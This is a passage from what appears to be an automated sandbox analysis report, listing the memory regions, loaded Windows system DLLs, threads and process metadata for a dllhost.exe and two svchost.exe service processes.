"c:\\windows\\system32\\cryptsp.dll") Region: id = 3070 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3071 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3072 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3073 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3074 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3075 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3076 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3077 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3078 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3079 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3080 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3081 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3082 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3083 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3084 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3085 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3086 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3087 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3088 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3089 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3090 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3091 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3092 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3093 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3094 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3095 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3096 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3097 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3098 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3099 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3100 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3101 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3102 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3103 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3104 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3105 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3106 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3107 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3108 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3109 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3110 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3111 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3112 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3113 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3114 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3579 start_va = 0xff1b0000 end_va = 0xff1b6fff monitored = 0 entry_point = 0xff1b124c region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Thread: id = 295 os_tid = 0x5e0 Thread: id = 296 os_tid = 0x89c Thread: id = 297 os_tid = 0x134 Thread: id = 298 os_tid = 0x848 Thread: id = 299 os_tid = 0x7ac Thread: id = 300 os_tid = 0x2a0 Thread: id = 301 os_tid = 0x29c Thread: id = 302 os_tid = 0x280 Thread: id = 303 os_tid = 0x27c Thread: id = 304 os_tid = 0x278 Thread: id = 305 os_tid = 0x274 Thread: id = 306 os_tid = 0x268 Thread: id = 307 os_tid = 0x260 Thread: id = 308 os_tid = 0x254 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa4d7000" os_pid = "0x294" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bdb9" [0xc000000f], "LOCAL" [0x7] Region: id = 3322 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3323 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3324 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3325 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3326 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3327 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3328 start_va = 0x70000 end_va = 0x70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 3329 start_va = 0x80000 end_va = 0x80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 3330 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3331 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3332 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3333 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3334 start_va = 0x200000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3335 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3336 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3337 start_va = 0x440000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3338 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3339 start_va = 0x5c0000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 3340 start_va = 0x710000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3341 start_va = 0x790000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 3342 start_va = 0x840000 end_va = 0xb0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3343 start_va = 0xb70000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 3344 start_va = 0xbf0000 end_va = 0xd77fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 3345 start_va = 0xd80000 end_va = 0xf00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 3346 start_va = 0xf10000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f10000" filename = "" Region: id = 3347 start_va = 0x1080000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 3348 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 3349 start_va = 0x1330000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 3350 start_va = 0x15c0000 end_va = 0x163ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 3351 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3352 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3353 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3354 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3355 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3356 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3357 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3358 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3359 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3360 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3361 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 3362 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3363 start_va = 0x7fefbf10000 end_va = 0x7fefbf23fff monitored = 0 entry_point = 0x7fefbf1101c region_type = mapped_file name = "rpcepmap.dll" filename = "\\Windows\\System32\\RpcEpMap.dll" (normalized: "c:\\windows\\system32\\rpcepmap.dll") Region: id = 3364 start_va = 0x7fefbf30000 end_va = 0x7fefbfb0fff monitored = 0 entry_point = 0x7fefbf3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3365 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3366 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3367 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3368 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3369 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3370 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3371 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3372 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3373 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3374 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3375 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3376 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3377 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3378 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3379 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3380 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3381 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3382 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3383 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3384 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3385 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3386 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3387 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3388 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3389 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3390 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3391 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3392 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3393 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3394 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3395 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3396 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3397 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3398 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3399 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3400 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3882 start_va = 0x1240000 end_va = 0x12bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 3883 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Thread: id = 309 os_tid = 0x460 Thread: id = 310 os_tid = 0x248 Thread: id = 311 os_tid = 0x424 Thread: id = 312 os_tid = 0x648 Thread: id = 313 os_tid = 0x3f0 Thread: id = 314 os_tid = 0x2c0 Thread: id = 315 os_tid = 0x2bc Thread: id = 316 os_tid = 0x2b4 Thread: id = 317 os_tid = 0x298 Thread: id = 443 os_tid = 0x9ac Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1c9e2000" os_pid = "0x2c4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT 